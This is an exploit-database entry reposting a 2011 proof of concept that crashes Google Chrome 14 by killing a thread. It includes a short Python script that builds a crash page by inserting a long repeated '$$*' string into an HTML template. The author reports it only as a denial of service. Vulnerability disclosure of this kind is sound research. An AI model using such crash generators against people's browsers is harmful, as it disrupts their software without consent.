发布 2011-10-22 漏洞条目

Google Chrome – Killing Thread (PoC)

Exploit Source

## _ (`-') _ pigtail23 (`-') (`-') _ _ www.remoteshell.de ##

## \-.(OO ) (_) .-> ( OO).-> (OO ).-/ (_) <-. ##

## _.' \ ,-(`-') ,---(`-')/ '._ / ,---. ,-(`-'),--. ) .----. .----. ##

##(_...--'' | ( OO)' .-(OO )|'--...__)| \ /`.\ | ( OO)| (`-')\_,-. |\_.-, | ##

##| |_.' | | | )| | .-, `--. .--''-'|_.' | | | )| |OO ) .' .' |_ < ##

##| .___.'(| |_/ | | '.(_/ | | (| .-. |(| |_/(| '__ | .' /_ .-. \ | ##

##| | | |'->| '-' | | | | | | | | |'->| |'| |\ `-' / ##

##`--' `--' `-----' `--' `--' `--' `--' `-----' `------' `---'' ##

###################################################################################

October 22, 2011

Ohh nice! What u doing google? Thx 4 ur bug! 0__o

Google Chrome PoC, killing thread. Exploitable or only a DOS!? Found no way to exploit it. Good Luck!!!

Testsystem: WinXP SP3, Win7(64 bit)

Google Chrome version: 14.0.835.202

Greetings to:

mr_insecure, myownremote, noptrix, Eph, lnxg33k, CyberMaN,...

TheXero, Dexter, #back-track.de and #intern0t @ irc.freenode.net

###################################################################################

poc.html:

too big!

###################################################################################

Python script for debugging:

#!/usr/bin/python

filename = 'poc.html'

content = open('template.html', 'r').read()

buff = '$$*' * 36800

rc = 484

content2 = content[:rc] + buff + content[rc:]

FILE = open(filename,"w")

FILE.write(content2)

FILE.close()

###################################################################################

template.html:

<html>

<body>

</body>

</html>

相关漏洞条目